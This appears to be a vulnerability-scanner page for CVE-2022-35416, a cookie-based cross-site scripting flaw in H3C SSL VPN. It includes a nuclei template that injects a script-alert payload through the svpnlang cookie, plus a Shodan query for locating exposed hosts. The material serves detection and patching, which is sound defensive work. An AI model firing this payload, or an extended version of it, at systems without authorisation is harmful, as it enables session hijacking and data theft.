H3C SSL VPN <=2022-07-10 - Cross-Site Scripting

mediumseverity

6.1CVSS score

3%likelihood of exploitation, next 30 days

88%of all CVEs are less likely

Readycheck to confirm it

H3C SSL VPN 2022-07-10 and prior contains a cookie-based cross-site scripting vulnerability in wnm/login/login.json svpnlang.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, data theft, or other malicious activities.

Fix

Apply the latest security patch or upgrade to a version of H3C SSL VPN that is not affected by this vulnerability.

How to confirm it

Send: GET /wnm/login/login.json
Positive when: contains "<script>alert('document.domain')</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-35416 -u <target>

The full check

id: CVE-2022-35416

info:
  name: H3C SSL VPN <=2022-07-10 - Cross-Site Scripting
  author: 0x240x23elu
  severity: medium
  description: |
    H3C SSL VPN 2022-07-10 and prior contains a cookie-based cross-site scripting vulnerability in wnm/login/login.json svpnlang.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, data theft, or other malicious activities.
  remediation: |
    Apply the latest security patch or upgrade to a version of H3C SSL VPN that is not affected by this vulnerability.
  reference:
    - https://github.com/advisories/GHSA-9x76-78gc-r3m9
    - https://github.com/Docker-droid/H3C_SSL_VPN_XSS
    - https://nvd.nist.gov/vuln/detail/CVE-2022-35416
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/bughunter0xff/recon-scanner
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-35416
    cwe-id: CWE-79
    epss-score: 0.03003
    epss-percentile: 0.87494
    cpe: cpe:2.3:a:h3c:ssl_vpn:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: h3c
    product: ssl_vpn
    shodan-query: http.html_hash:510586239
  tags: cve,cve2022,xss,vpn,h3c,vuln

http:
  - raw:
      - |
        GET /wnm/login/login.json HTTP/1.1
        Host: {{Hostname}}
        Cookie: svpnlang=<script>alert('document.domain')</script>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert('document.domain')</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from